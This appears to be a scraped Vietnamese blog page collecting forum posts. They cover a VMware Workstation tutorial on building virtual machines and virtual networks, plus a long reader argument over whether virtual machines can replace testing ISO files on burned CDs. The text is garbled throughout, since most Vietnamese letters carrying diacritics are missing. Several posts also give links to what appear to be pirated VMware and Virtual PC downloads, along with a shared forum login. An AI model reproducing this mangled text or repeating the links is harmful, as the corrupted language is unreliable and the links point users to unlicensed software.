minh ca BIG-IP khin cho c th offload ti (l kh nng chuyn ti cho mt modun phn cng chuyn dng x l) gip cc cc my ch ng dng v web tng cng hiu nng. Ti nay, y l gii php duy nht c k thut multi-store caching (l kh nng qun l cc vng cache khc nhau cho tng ng dng, tng b phn) em li s thng minh trong iu khin v kh nng phn mc u tin cho ng dng. http://www.ddth.com/showthread.php?t=148461&page=2 c ng bi haodalat ti 10:36 CH 0 nhn xet Nhan: C TH BN CHA BIT, MCSA, NETWORK
11-04-2008
To mng o bng VMware Workstation thc hnh mng m khong cn n nhiu my tnh v switch ..
Vmwar ngoi chc nng to my o n cn c mt chc nng rt hu ch cho nhng ai mun thc hnh mng m li khng c nhiu my tnh v switch. VMware cho php ngi dng to ra cc mng o gia my tht, cc my o v mng ngoi ca my tht. to mng o Vmware cung cp cho ngi dng cc thit b sau: - 10 switch o, 1 bridg o, 1 NAT device o, cc DHCP server o - 3 loi NIC trong vmware: + NIC tht ca my tht, + NIC o ca my o + NIC o ca my tht. Ni cc thit b ny li vi nhau s c c mng o theo mong mun. Bi vit ny s hng dn cch bn t to cho mnh mt mng o theo mun. Tha h m thc hnh mng m khong cn n nhiu my tnh v
switch File download bi hng dn ti: http://www.uploading.com/files/78Y4WKQ0/Tao_Mang_Ao_Bang_VMwareWork station.rar.html nu ht hn th vo mirror sau: http://www.fotech.org/forum/index.php? showtopic=11083 vi username: tempregaac, pass: vtempregacc +++++++++++ http://www.echip.com.vn/echiproot/weblh/suutam/2003/ddth/vmware/VMWar e3.htm +++++++ VMWare Workstation 3.0 c vit bi ThanhPhuHTV vit cho Din n Tin Hc Ghi ch: Bn c th nn c qua bi vit v VMWare Workstation 2.0 bit thm mt s thut ng v khi nim v VMWare cng nh cu hnh my chy VMWare. Download v Ci t: Cc bn phi c b ci t Virtual Machine, c ti t http://www.vmware.com/download/, c hai chng trnh ty vo h iu hnh m cc bn s dng l Windows v Linux. Ty vo H iu hnh m cc bn ti v bn ci cho ng. Trong khun kh bi vit ny, ti xin trnh by cch ci t v s dng VMWare version 3.2 build 2230 (bn mi nht ngy 15/11/2002) trn H iu hnh WindowsXP. Ch rng s dng c VMWare, cc bn phi ci t n trn NT, 2000 hoc XP. - Cc bn ch cn kch p ln file VMware-workstation_3.2.0-2230.exe (sau khi download), cc bn cn accept v Yes mt vi ci, qu trnh ci t s tin hnh bnh thng, trnh setup c th i Disable kh nng AutoRun ca CD, cc bn nn chn ty chn ny. S dng: Sau khi ng k bng cch nhp s Serial khi chy VMware ln u (bn c th ng k nhn s serial free VMWare.com c s dng 30 ngy), cch bn s vo c giao din ca VMware nh sau: to mt my o mi cc bn cn khi to mt New Virtual Machine, kch chn biu tng New Virtual Machine trong hnh trn, cc bn s c: Cc bn nn chn kiu ci t my l Custom d dng cu hnh H iu
hnh m mnh mun ci. Chn Next tip tc, cc bn s thy mn hnh tng t nh sau: Chn H iu hnh bn mun ci trn my o, tht ra bn c th chn l Win2000 Pro v sau li ci l XP th vn OK, nhng cc bn nn chn ng H iu hnh m mnh mun ci v VMware s support tt OS hn nu nh bn chn ng v ci ng. Trong v d ny ti chn l Windows 2000 Pro. Chn Next chuyn sang phn chn dung lng memory: Bn chn dung lng RAM cho my o ca mnh, cc bn nn nh y s l dung lng RAM tht m VMware dng trong khi my o detect phn cng, trong v d ny ti chn 64M. (ghi ch, bn c th xem li bi vit v VMWare 2.0 xc nh cu hnh my cng nh dung lng RAM m my ca bn nn c). Chn Next chuyn sang phn tip theo. y l phn cc bn cu hnh giao tip mng ca my o. Nu bn chn phn cui cng - Do not use a network connection - th my o ca bn s khng c card mng. Nu bn chn 1 trong 3 phn cn li, my o ca bn s c 1 card mng "o" ni mng vi my tht. Sau ny bn c th gn thm 2-3 card mng o cho my o na cng c. v d, ti chn phn u tin l Use bridge networking. Chn next tip tc. i vi mt my o bt k cc bn phi to mt cng tng ng cho n hoc c th dng mt cng o c sn, hoc thm ch dng 1 partition trn my. cng ny c dung lng ty thuc bn quy nh v cng l phn cng m my o s detect c sau khi Power on my, thng thng vi mt my o mi, cc bn chn Create a new virtual disk, chn Next, chng trnh s cho php cc bn chn dung lng cng dnh cho my o, mc nh l 4Gb. Cc bn c th chn lun mc nh ny m khng s tn dung lng a cng tht v cng o khi s dng mi phnh ra tng ng ty theo khi lng Software m bn ci t trn my o, c ngha l bn chn 4Gb cho my o khng c ngha l lp tc bn mt i ngay 4Gb khong trng, nu c yu cu ln hn hoc nh hn, cc bn c th chnh ty chn ny. Phn Use a physical disk bn ng nn chn nu nh bn khng bit chc l bn ang lm g v nu khng cn thn khi chn phn ny, ton b data trn 1 partition c sn ca bn s b mt ht! Nu bn chn Create a new virtual disk, chn next sang bc tip theo. Cui cng l chn tn file to a cng o, bn c th chn bt c tn no v bt c u bn mun. Tuy nhin, bn c th chn gi tr mc nh ca VMWare th a cng o s to trong cng th mc vi my o, nh vy s d qun l hn. Chn Finish kt thc qu trnh to my o. Bn s c giao din VMware nh sau:
Bn c th lp li qu trnh trn nhiu ln to ra nhiu my o khc nhau. Trong hnh trn ti to 2 my o, mt my l Windows XP Profesional v mt l Windows 2000 Professional. bt my o, bn chn mt my o no , v d nh Windows 2000 Professional, kch vo nt Power on trn thanh cng c pha trn bt u chy my o, cc bn s c giao din nh sau: My o s bt u chy, cc bn ch rng y l mt my mi hon ton (d nhin l...o), vi cc thng s k thut l 64Mb RAM, a mm (dng a mm ca my tht), 1 CD ROM (dng CDROM ca my tht) v 1 cng 4Gb cha fdisk v format g c. Cc bn c th thao tc trn n mt cch bnh thng nh fdisk, partition (v cc bn phi lm iu ny v a cng mi ny l hon ton trng trn, tr khi bn chn phn Use an existing virtual disk bc to a cng v a cng o ny c fdisk v format trc ri!), ci Windows, office ..v .v... nh mt my tnh mi hon ton, cc bn c th yn tm v bt k thao tc no thc hin trn my o u khng gy nguy him g cho my ch ca bn. Tuy nhin trong qu trnh chy my o cc bn cn bit thm mt s ch nh sau: * My o hon ton c lp vi my ch nn cc bn hon ton khng c cch no copy software t my ch qua my o, thm ch khi boot my o (Power on), tr khi bn "ni mng" c gia my o v my ch tht (m bc ny ch c th c thc hin sau khi bn ci t thnh cng h iu hnh cho my o). boot my o ln u tin cc bn c th dng a mm hoc a CDROM. Tip theo l ci t h iu hnh cho my o v sau bn c th boot thng vo h iu hnh trn my o. * My o c mt s phm chn m cc bn phi ghi nh. V d nh khi mun bn phm c tc dng trong my o cc bn click chut v trong ca s ang chy my o, ly li quyn kim sot chut v bn phm trn my ch, nhn t hp phm Ctrl + Alt. * Cc bn c th chy my o ch Full Screen m phng nh tht, t hp phm thot khi ch fullscreen l Crtl + Alt. * reboot li my o cc bn c t hp phm Ctrl + Alt + Insert hoc click nt Reset trn thanh cng c pha trn. * Mc nh sau khi ci h iu hnh cho my o, bn s c 1 VGA Card 16 mu. Bn c th ci driver cho card o ny nng s mu ln bng cch chn menu Settings -> VMWare_Tools Install (nhn vo nt Help ngay ti
bc ny xem hng dn, nhn vo nt Install bt u ci t). Chc cc bn thnh cng, mi thc mc xin gi v thanhphuhtv@yahoo.com hoc thanhphuhtv@vol.vnn.vn hoc gi ln din n. Thn i! http://www.echip.com.vn/echiproot/weblh/suutam/2003/ddth/vmware/VMWar e3.htm +++++++++ VIRTUAL PC 2007 v VMWARE STATION 60 liu c hu dng thc s? Ngy 26 thng 3 nm 2008 XHTTOnline: Nhiu bn rt thch dng cc phn mm to ra thm cc PC o ngay trong my tnh ca mnh, nh l Virtual PC 2007 v Vmware station 60. a s thng hiu sai cho l c th dng chng th nghim chy th file ISO. Bn c th ti v 2 phn mm y th nghim, http://rapidshare.com/files/31330370/VMware.Workstation.6.0.0.45731.Final. part1.rar http://rapidshare.com/files/31495752/VMware.Workstation.6.0.0.45731.Final. part2.rar http://rapidshare.com/files/31522252/VMware.Workstation.6.0.0.45731.Final. part3.rar hoc Virtual PC 2007 ti y: http://rapidshare.com/files/45800013/Portable_Microsoft_Virtual_Pc_2007.rar iu ny thc s ng khng? Nu qu tht vy, quan trng v s tit kim cho chng ta rt nhiu, phi mua nhiu a CDRW ghi li cc file ISO lm ra. Virtual PC 2007 v Vmware station 60 ngoi chuyn chy th file ISO hay t CDROM, cn c chc nng chung ging ht nhau: Chng c th gip bn ci v chy thm h iu hnh o khc nh l Win98, WinME, XP home, Linux vo ngay trong XP professional ca my tnh. C nhn ti th nghim nhiu tun lin trn c 2 phn mm v tht ng tht vng: chng khng th no thay th c chuyn ghi ra a CDRW c c. V sao li th? Trc y, mi ln chy cc chng trnh trong MS-DOS thng chng ta ch thy, xem qua cho bit m khng sao ghi li hnh nh nhng g mnh thch do MS-DOS khng c chc nng a nhim ging nh Windows. Gi y, iu ny li qu d vi 2 phn mm to PC o va ni trn.
Bn c vic ci Vmware station 60 ngay trong WinXP, chn vo New virtual machine drive v chn edit virtual machine thay i memory v chy thng file iso nh Hiren 9.4 chng hn thay v CDROM.. Chn tip vo mc Start this virtual machine ny, n s m thm ca s ngay trong desktop ca XP bt u chy file Hiren.ISO 9.4 ny. Vi PC o, bn cn phn bit my khch (guest) c Hiren 93 iso ang chy; cn my c XP li chnh l my ch (host). Tt c din tin tht bnh thng y nh bn boot my tnh bng CD c Hiren vy, nhng l bn trong Win XP. Cho n khi hin ra menu cho tng tc v ca Hiren 94 nh l phn vng vi Partition Magic 805, sao lu a vi Ghost, test cng, Files manager ...Bn mun chy th Partition Magic 8.05 hay Ghost 11.01 trong my o ny xem th no ? N s bo li ngay lp tc v khng tm ra a chnh (c cc phn vng C,D, E..) m ch c a o c 4GB mVmware 60 to ra tm trong cng ca bn thi. Nh th, chuyn bn chy th ch gip bit file Hiren.iso (bn c chnh li) c h g giai on u (trn 2 file autoexec.bat v config.sys); cn giai on sau chy thc th cho ring tng chng trnh l n b tt. Bn c th chp nh nhng g menu ca Hiren c, biu din cho bn b vui thi bng cch dng ngay nt Snapshot ca Vnmware 60 (kh dng) hay Smartcapture 1.92 hoc Screen hunter 40 nm trong XP lu li.. Trng hp khc l khi bn ghi xong file pebuilder 3110A.iso (hoc XPE) v mun chy th bng Vmware xem th no liu c b h g boot khng? Tt c li cng gn ging nh chuyn chy th Hiren93 iso. D bn c add (thm) card m thanh, cng COM3 th no, trc trong Vmware 60, n cng khng nhn ra card sound, modem v quan trng nht l cng chnh ca my tnh n cng khng th nhn ra. Do phi bo ton d liu, nn vic thm vo cng (raw hard disk) theo nh khuyn co quan trng ca Vmware l ch dnh ring cho chuyn gia.
Ti khuyn bn khng nn bao gi lm th iu ti nguy him ni trn. Chy file pebuilder 3110a.iso vi Vmware trong XP, tt c u n k t lc khi ng mn hnh c ch mu vng boot wizard n khi khi ng xong vo XPE vi desktop v cc shortcut hin y trn y. Sau , bn ht th nghim g c na, th d m Windows Explorer bn s
khng thy cng 40GB no c, ch c a o do Vmware lm ra c 4GB. N ch nhn ra 2 th n gin l CDROM, mm A m thi. Bn mun cp nht driver cho phn cng trong XPE l chuyn tht v ch, n khng nhn ra card sound modem, card TV nn bn khng th no th chi nhc g c y. Tm li, dng phn mm to PC o r rng khng ch g nhiu cho bn trong th file ISO: N khng phn nh tht chnh xc file ISO nh lc ghi ra a. Bn vn cn phi tn tin di di mua a CDRW th nghim cho tht chc n. Theo ring ca ti, ng bn ch cn n Vmware 60 hay Virtual PC2007 l khi bn cn chp lu li hnh nh trong DOS (Hiren). Nhng chuyn khc cao siu hn, chc chn chng khng lm c cho bn ri. Gi mua bn quyn phn mm Vmware 60 l 299USD v liu n c tht s ng mua khi bn c xong bi ny khng? Dng minh Hong
c c: 5175 ln PTN Email: ptn611@*****.***.** Re VM Ti thy bi vit ny ko c im no trit l. C th tc gi mi dng th thi gian t nn mi ch nh ci nga xem hoa. Cch y my nm ti c dng VMWARE 4.5, VMWARE 5.0 thy n phn nh ng thc cht ca 1 PC nh bnh thng. Ni nhiu khng tin. Nu ai c hng c th lin lc qua mail trn. k3lvinmitnick Email: k3lvinmitnick@*****.*** VMWare Full + Ebooks Ebook huong dan chi tiet ve VMWare: http://rapidshare.com/files/102412484/How_to_Cheat_at_Configuring_VMWar e_ESX_Server.rar VMware Full: http://rapidshare.com/users/ACMLUO DrHoang
Email: drhoang@*****.*** tr li Bn PTN, Ti khng phi dn pro nn mi test n vy thi nn khng thy n hot ng y nh 1 PC thng bao gi. Nu bn ni lm c thnh cng mi th trn my o, xin vit bi b sung cch lm sao nghe nhcvi card sound, thu TV, xem TV, quay modem, iu khin my in hay wireless nh. cm n nhiu Ti rt chu hc hi kinh nghim, ci no cha rnh sn sng khc phc, nhn mnh sai, khng c g tranh ci vi bn khi bn chng minh bng 1 bi vit khc tht dy hn, Dr Hong Ham_Hoc_IT Email: abc@*****.*** a ch: HN Dung chet vi thieu hieu biet hoac vi biet qua nhieu.... Theo toi Thi ban Hoang chua co cai nhin dung ve Ao Hoa. Cu the la tinh nang cua cac PM VirtualPC hay VMware... Nen doc nhieu hon truoc khi phat bieu Dung chet vi thieu hieu biet hoac vi biet qua nhieu thu (khong den dau den du~a). centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org VMWare Server VMWare c bn server cho download v s dng min ph http://www.vmware.com/download/server/ ang k serial y: http://register.vmware.com/content/registration.html Dr Hoang Email: drhoang@*****.*** tr li 2 bn gop
Bn PTNthn mn, Tit l ca bn ni l Vmware c th chy y nh 1 my PC tht, qu cc k th v, ti h phi xin hc hi v ai cng mun bit bn lm sao;.. 1) Chy Hiren 94.ISO my o, bn vn lm ghost back up restore cng c sao m theo bn n lm ghost cho no C, hay D? Phn vng bng Partition magic 805 trong my o c c sao? no xin bn cho bit, hc hi thm bc pro nh bn? 2) Bn khng cn driver Creative, XP Reg , ci t vn nghe nhc bng card sound Audidy trong my o c sao? 3) Kt ni bng Modem, Wireless trong my o cng khng cn driver, XP reg g c hay sao? 4) Ra lnh cho my in trong my o khi cn driver, reg m vn in vn bn c trong my PC hay laptop c, th ng my o l bc siu sao ri. Rt mong c bc pro v Vmware hng dn tng bc y. Kin thc tin hc l v hn, khng ai c th bit ht mi chuyn nn ti khng c g mc cm, ashamed m cn phi hc hi thm bn b. Mong bn gip cho 1 bi vit tht hay hay mt vi dng hng dn lm thnh cng v nhng cu hi ca ti. Cm, n bn tht nhiu . @ Bn Ham_Hoc_IT Bn ph bnh ti cha nhn ng v o ho hay ng cht v thiu hiu bit c th qu ng y v ti cha phi bc pro v mi trng o. Nhng khi ph bnh nh vy, cng mong bn chng minh bng bi vit v gii thch r tng cu hi ti nu vi bn PTN trn: lm sao my o, chy card sound Audigy creative, ra lnh my in, in vn bn c, ni mng qua Wireless m khi ci khi driver v registry. Hay ti thiu my o c lm ghost back up hay restore c khng? Cn nu bn khng chng minh c cu hi no ca ti c, ti li ngh l bn ni sung khng mt ngha no c . iu ny y ht nh ti cha bao gi gp ma m sao ti phi tin bn ni gp ma (khng mt ai xc minh ngoi bn ) hay c ma cho c y . Dr Hong
centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org o ha? Hin by gi c kh nhiu chng trnh cho php m phng PC. VMWare, Virtual PC, QEMU, Virtual Box l mt dng m phng hon ton. Mt s thng tin sau s gip ngi c hnh dung: - M phng cng: cc chng trnh dng mt dng file c cu trc m phng cng. Tuy nhin cc chng trnh cng cho php s dng cng /partition tht lm vic cho nhanh. Tt nhin khi cng /partition tht s b c h iu hnh tht/o c/ghi. Nh th s c th c xung t. hiu qu, ngi ta thng ghi file m phng cng ln mt cng khc vi cng chy h iu hnh tht. - M phng card mng: Cn phn bit card mng tht khc vi card mng trn my o. My o dng m phng card mng ring, khng dng card tht v giao tip vi card tht qua c cht NAT hoc c ch g th do chng trnh s thc hin. Nn trn my o s thy tn card mng khc. My o s khng phn bit card mng wired hay wireless m ch lm vic qua driver o. Rt nhiu ngi hi ci ny v hy vng my o nhn c card tht. Ti s dng my tht dng wireless vo Internet, my o dng driver o v dng Internet cng nhng cc kt ni khc qua card wireless trn my tht. - Card sound tren VMWare cng c m phng. - Mt s thit b phn cng khc m chng trnh my o khng nhn c, n gin l n khng c m phng tng ng. Theo nguyn tc, vic m phng hon ton c th lm c. Nhng trn thc t, nhu cu lm vic khng nhiu. My o c tnh cho nhng vn khc hn l phi bt buc m phng tt c cc thit b. - ng dng ca my o rt a dng, bi vit trn khai thc vo yu t m vic o ha li khng quan tm. T Ch Bo Quc Email: tamtran56@*****.*** a ch: 5/10 Nguyn Du - Long Xuyn An Giang Tel: 0947971803 o ha Cho tui ni cu cng bnh nha : Dng 2 phn mm - trong VMWARE Stationth hay hn v y ht nh my thit..ch c g ng bn c.... Ghost c, nghe nhc c, xem phim c, kt ni chia s mng c tut
tun tut...Bc Hang i Thm ch tui cn to mt bn ghost cho h iu hnh my o.. dnh khi h Windows tui s c ghost li..khi mt cng ci n...
drhoang Email: drhoang@*****.*** tr li Hi all , Hoan h vi li gp gi tr ca Cento v chuyn m phng cng my o nn xin thm ta bi vit l liu c hu dng cho newbie khng? 1) Ni phi bao nhiu trang c chuyn ni mng qua LAN Vmware server link http://www.vmware.com/download/server thy phi dng bit bao dng lnh phc tp trong khi my PC tht, ch cn cm dy LAN gia 2 my l xong. Ch m rc ri n th . 2) Bi vit y khng phi ni ht v cng dng my o nh bn gi l my o khng quan tm nhng cp xi my o liu thit thc cho new bie im g.( y khng ni dn pro u nh.). 3) Bn ni card sound c m phng lun nhng iu quan trng c nghe nhc card Audigy c my o khng, khi n khng c driver, registry khng ? Nu nghe nhc khng c, dng wireless my o khng c, phi qua my tht th dng my o ch li g y? Ti ch hiu sao c bn PTN li khen my o y nh PC tht ( unbelievable !!!): im no vy? ip theo 4) Bn li cho rng Mt s thit b phn cng khc m chng trnh my o khng nhn c, n gin l n khng c m phng tng ng. Theo nguyn tc, vic m phng hon ton c th lm c. Nhng trn thc t, nhu cu lm vic khng nhiu. My o c tnh cho nhng vn khc hn l phi bt buc m phng tt c cc thit b. Ti th ngh khc v my o khng d dng lc no m phng c phn cng my tht, no cng s thnh cng nn kh ni nh bn hon ton c th lm c. Nhu cu bn cho l khng nhiu nhng ti sao bn PTN li cho my o l y
nh PC tht? ng my o c nhiu cng dng a dng tht theo gp ca bn. Tic l n ch dnh cho dn lp trnh nghin cu c l nht m khng th no gi l ngha thit thc g cho new bie ( ngoi chuyn test th nghim giai on boot CD, ISO ). 5) Ti th nghim Hiren boot.CD, ISO my tht qu tt, thm mt ln na my o Vmware d l load CD hay ISO, Vmware c load CD driver l ng lun ni l Boot CD files not found.. Vy th my o ging my tht im no?? Xin cc bn IT pro v my o ch dn im no sai ca ti h. Ti ch thy Hiren boot CD chy my tht d dng khng cht kh khn no c. Dr Hong DrHoang Email: drhoang@*****.*** b sung Chu Quc thn, Chu ni my o chy ghost c, nghe nhc, xem phim ni mng ? Th bc ch xin hi chu mt cu tht n gin ny thi nh. Chu c XPE CD hay XPE ISO ti giai on cui ri sao v chu lm thnh cng ra a CD multiboot va c XPE v Hiren c sao? Ch chu ni h iu hnh trong my o ca chu l chy h OS no: XPE hay, WinPE , ERCD 2005? hay Linux? Ch c XPECD cn nghe nhc xem TV , thu TV, iu khin my in, ni mng qua wireless trn CD read only rt tt . Bc chy XPE.ISO test bng my o khng nghe nhc, xem TV hay wireless g c na Vy chu ni h iu hnh test bng ISO trn my o l th OS no y? Linux th chu thua Audigy card ri, WinPE cng th Barts PE, ERCD 2005 cng vy . Bn PTN, tin y xin ti h cho php hi bn chy h iu hnh no hay th ( test bng ISO hay CD) bn trong my o tt vy ? Chi c th t nghe nhc, xem TV, ni mng wireless y nh my tht vy( chnh bn ni y nh) ? Cn bn Ham_Hoc_IT hay ni ng cht v thiu hiu bit, hay bit qu nhiu: xin tr li directly ngay cu hi y (h OS no) i no? Dr Hong
centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org
Driver? Vi my tht dng XP, my o dng 2003. Ti chy my o nh sau: 1- My tht ni internet qua wireless. My o cng kt ni c internet qua kt ni . Nh th c cha? 2- Trn my o chy file m thanh v nghe c loa my tht. Nh vy c cha? 3- Vic kt ni ra mng ca my o, i vi ngi s dng khng kh, nu chu xem hng dn. Trong trng hp my c 2 card mng th lc mi phi . 4- V phn cng, DrHoang c th kim tra nhng ci m VMWare h tr. My o thc t khng quan tm n phn cng tht m giao tip vi phn cng tht qua cc driver ca phn cng trn h iu hnh. Giang Email: yellowriver2883@*****.*** HI Cng nghe ci bc Hong ny ni th cng bc mnh. Ngi tao bo bit th tha tht, khng bit th da ct m nghe. hin nay ti ang ci trn my o VM6: Vista, Mandriva 10, XP Pro, XP tiny 2, v hi trc th c win server lm webserver ri. V tt c cc OS trn u hot ng tt trong mng. Vic s dng my o test my ci ng dng dos (PQ magic, ghost, fdisk...) ch l chuyn vt thui. Trn thc t vi mt PC kh mnh (vd: core2 1,8; Ram >1G, HDD 160) bn c th chy 3 my o mt lc thc hin cc tc v v mng, server rt tt. Nh li lc trc i hc c hc v mn g (h iu hnh th phi) c phi vit cc ng dng bng pascan c cc thanh ghi, c bootsector,... ca cng v lin tc phi khi ng li my. Lc dng virtual PC mi thy ci my o tht c ch. Ci cng gi lp ca n dng chy cc bi tp dos nguy him d lm hng cng thoi mi lun.hix. bn hy dnh thi gian test nhiu hn v my o trc khi post bi nh. Thnh Lun Email: thanhluan34@*****.*** May Ao kha can thiet gi lp my o l mt iu kh cn thit. Bc Hong khng nn vit bi theo kiu "phin din" nh th. d gy hoang mang cho bn c. nht l nhng ngi mi hc IT.
Nu vit bi theo kiu "phn tch" th nn vit c ci hay, ci d bn c c th xem v hiu rng mnh c nn s dng my o hay khng. v s dng vo mc ch g. Vic vit bi chng minh, nh Bc Hong ni. bc cng hiu rng mnh l dn vit lch, s d din t. cn ngi tuy hiu bit nhng h khng bit din t ra cu ch th sao. khng nn "p t" nh th. S dng my o test v thc hin vic hc trong mi trng network l rt cn thit. khng l hc vic thit lp mng, mnh phi u t ra 4 5 my hc sao. nu l dn "nh ngho" th s dng my o hc thit k mng l rt ti u. Bi vit nn chia s theo kiu "ho bnh". Cc bn nn nh nhng gp cho nhau. khng nn "c nhn ho" qu. v thc ra ch c ai l gii c. bn no dm chc l mnh gii thc s ht khng.... DRHoang Email: drhoang@*****.*** tr li Cho cc bn gp cho bi vit . Cm n cc bn gp nhji v my o nn ti buc lng sng nay bay ngay i TP CM tm gp 3 chuyn vin IT Pro ( tm c Cento 5 )xem h biu din lm c nhng v Vmware v Virtual PC 2007 cng nh h ni g quan im i nghich gia ti v cc bn. ng l gia chng ta c s hiu lm tht tai hi v cch dng Vmware, Virtual : Ti ch dng phn mm o test ISO, CD ca Hiren, XPE cn ngc li cc bn li dng XP trong my o test phn mm ci vo nn mi cho l ging PC tht nn 2 bn ci nhau khng u vo u.. Hai bn u khc vi ch trng mc ch khi dng Vware,VirtualPC lm g? Cc bn ng khi cho my o ging PC tht nh duyt web, nh vn bn, nghe nhc card sound m phng trong XP o. Nhng trong XP o y nu dng test nhng phn mm khng i hi driver phn cng dc bit nh Audigy, card TV thu TV, DVD my o khng th no m phng chnh xc c. Driver my o m phng hon ton khng ging nh XP nn vic nh gi cng tng i .Mt thi gian chy trong XP tht xung t vi cc phn mm khc mi c ch.
@ Bn Cento , Bn cho chy 2003 o trong XP cn hp l mt t ni nghe nhc nhng gi lp cht lng m thanh c y nh card cao cp khng? Card TV c lm c c xem thu TV c khng. Cc chuyn gia ti Saigon ni hon ton khng c.. Chy Hiren ISO trong 2003 liu c thy C my tnh ghost cu h, PM hay ch l o thi. File ghost y restore li cho C khi ht vo 2003 khng? Ti cn ngh khc cc bn ang chy c Vmware qu tha thi, dng th nghim phn mm hay mi ci g u lm c trong XP ? Bn bit khi c 2 file ghost C. D th khi trc trc ht vo XP dc Vi mi ch cn restore file ghost l 3 pht sau l bnh thng. C g phi s i test phn mm trong XP my o ngoi chuyn chm hn my ch v cha chc chnh xc y nh XP my chnh ( cn tip) Dr Hong DrHoang Email: drhoang@*****.*** b sung im sai Hi all, Thnh tht xin li cc bn, do qu gp reply nn phn tip theo ti nh nhm phn mm to a o l Power data recovery 10 . Xin vui lng sa li l Shadow defender 10 Cm n cc bn. Mong c cc bn gp y tip, nu thy hng th .Lnh vc no mnh cha rnh vn cn phi hc hi thm bn b, ti quan nim n gin th . Ch cn trao di lch s l qu tt thi. Dr Hong DrHoang Email: drhoang@*****.*** chn li cu sai Hi all, Li do qu gp nn phn reply Mr Cento cng li sai 1 cu ny:: " File ghost y restore li cho C khi ht vo 2003 khng? "
File ghost y liu c restore li cho C thnh cng, khi my tnh ht boot c vo XP khng? Sorry,
Dr Hong Pham Chuong Email: chuongpt@*****.*** Tel: Da Nang Gp Ti c mt s bi ca bc Hong, ti thy bc hay nhn mnh vic bc nhiu tui, v gi nhng ngi khc l chu, hu bi. Ri bc hay bo bi bc vit cho new babie, Ti ngh trong th gii cng ngh ny, mi ngi u hc hi th khng nn nhn mnh vn tui tc lm g, bc c nhc mi chuyn bc nhiu tui trn ny lm g, n khng ng ngha vi vic bc xut sc hn nhng ngi tr, vi gp nh vy thi, mong rng bc khng pht . drhoang Email: drhoang@*****.*** tr li bn Chng @ Bn Phm Chng thn, Xin li bn Chng nh, bn gp ti nhiu ln nhc ti nhiu tui, l nhng lc no vy? Ch c 1 ln duy nht khi Mr Pro gi ti l anh ta ( 1 t thiu lch s ) ti mi bo li cho anh bn y bit ti nhiu tui thi. Vy theo bn ti c nhc mi nhiu tui hi no, xin bn minh chng. Ti c ni bi vit ti dnh cho new babie hi no. Ch y bn nh sai ri, ng l newbie (dn khng chuyn mi quen vi tin hc ). Ti dng ch chu, ch khi no h xng vi ti trc l bc, ngoi ra bao gi cng dng ch anh bn, d tr hn mnh. iu g bn ni ti ngh l nhiu tui xut sc hn ngi tr? ( hay ch mnh bn suy din iu qu xu y ). Bao gi ti cng ngh mnh l dn khng chuyn v tin hc amateur, cn phi hc hi nhiu dn IT pro.
Kin thc tin hc cng nh y hc l v hn, mt ngy khng cp nht thng tin mi s lc hu. Ni a t cht l ti ch l 1 dn pro v XPE y, ngoi ra all are newbie: Mong bn hiu cho iu ti thiu y v mong bn ng cp v tui tc y na. Ti ch mong ngy no , c 1 bn no khc c c title Platinum member ( vit, sng tc, tr li ting Anh hn 1000 lt thi) qua mt ti ci vo ti Barts PE forum thi( www.911cd.net/forums ). Dr Hong DrHoang Email: drhoang@*****.*** phn 2 tip chnh li ( tip theo chnh ri ) Ngoi ra nu cc bn c thch my o th nghim phn mm trong XP ti xin gii thiu Shadow defender 10, to a o tu thch nh C, D, b E ra vn c. Tha h ci phn mm t l bng binh C, D ngay c c chp vo XP registry cng khng sao c . Khi bn reboot my li tt c bin ht v l y ton l nhng o kia m. Vmware hay Virtual PC c th hn Shadow defender, do chy th ISO, CD uc,nhng nu th phn mm ci vo XP, ti khng thch phn mm o 1 cht no. Dng Shadown defender 10 c phi d dng hn mi trng tht chy trong XP ch c C, D l o tm thi thi. Cn chu An Giang lm mi th ngay c ghost c th cc chuyn vin cho l sai hon ton v my o ch ghost c o. File ghost y lm g bung restore sau ny c .Lm g c chuyn ghost c C my tnh hay restore file ghost khi my tnh ht vo XP Mt khi XP tiu, ht bot vo th Vmware cng tiu lm sao vo y c na m phc hi g. XPE live hon ton khc ci XP mi trng o v khng th ci thm nu khng lm plugin t u trc khi ghi ra a CD, nn th nghim ISO hay CD trong Virtual Pc hay Vmware cha th hon ho l v th : Dng driver Audugy m phng lm sao nh ga lm Plugin thnh cng trong XPE.. Ngay c chuyn modem,my in wireless phi c registry, plugin tht hon ho (registry ny khc vi XP) nn khng nh ga plugin no c qua th nghim Vmware c c.
@Bn Giang Bn c phng tin winserver nhiu my d test nhiu th c nhng khng phi bi ny cp. Bn mi cho l Fdisk, PM chuyn vt. Nhng a s mi ngi khng c phng tin server, ch l my tnh c nhn ring ca mnh. Lm Ghost, PM my o ca bn lm ch chi thi ? v lm a o, hay lm c c C my tnh? Khi C ht boot, bn c dng file ghost( o) phc hi y li c C my tnh khng? 3 chuyn gia Saign my o cho l khng th c, bn chc cng li ni y li l 1 chuyn nh. Vy ti h ang da ct m nghe y xin hi bn lm th no nu khng phi nhiu my ni mng u nh. Xin c ch dn thm Dr Hong centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org Thng tin v my o C mt s thng tin sau: - Cn phn bit phn cng o v phn cng tht xc nh r. Vi phn mm VMWare c th, theo help VMWare h tr nhng phn cng o sau: Virtual Disk; CD/DVD; FDD; Network; Audio Device; Parrallel; Serial; SCSI (dng generic); Processor; VGA. N cng h tr mt s thit b tht nh HDD; CD/DVD; USB; Mouse. Ngoi cc thit b trn, nh ti ni l theo nguyn tc c th lm c, nhng thc t VMWare cha c. Khi cn kim tra c th xem cc phn mm my o khc h tr phn cng nh th no. - Phn cng o so vi phn cng tht th th no? VMWare dng mt s phn cng o sau: VGA- VMWare SVGA II; NIC- AMD PCNet Adapter; Sound-Creative AudioPCI (ES1371, ES1373). Cc phn cng o ny khng thay i, cho d phn cng tht tng ng trn my bn l g. Nu c thay i, chc khi VMWare s thay th phin bn khc. Vi cc PM my o khc cng s c cc phn cng o tng ng. Trong cc phn cng o, ti thy QEMU dng l c hn. - Ghost: ti cha thy ai hi ti hay trao i vi ti v vic chy my o ghost cng ca my tht cho n khi c kin ca DrHoang. Vi ti, iu ny khng c ngha v khng c tng g hay ho c.
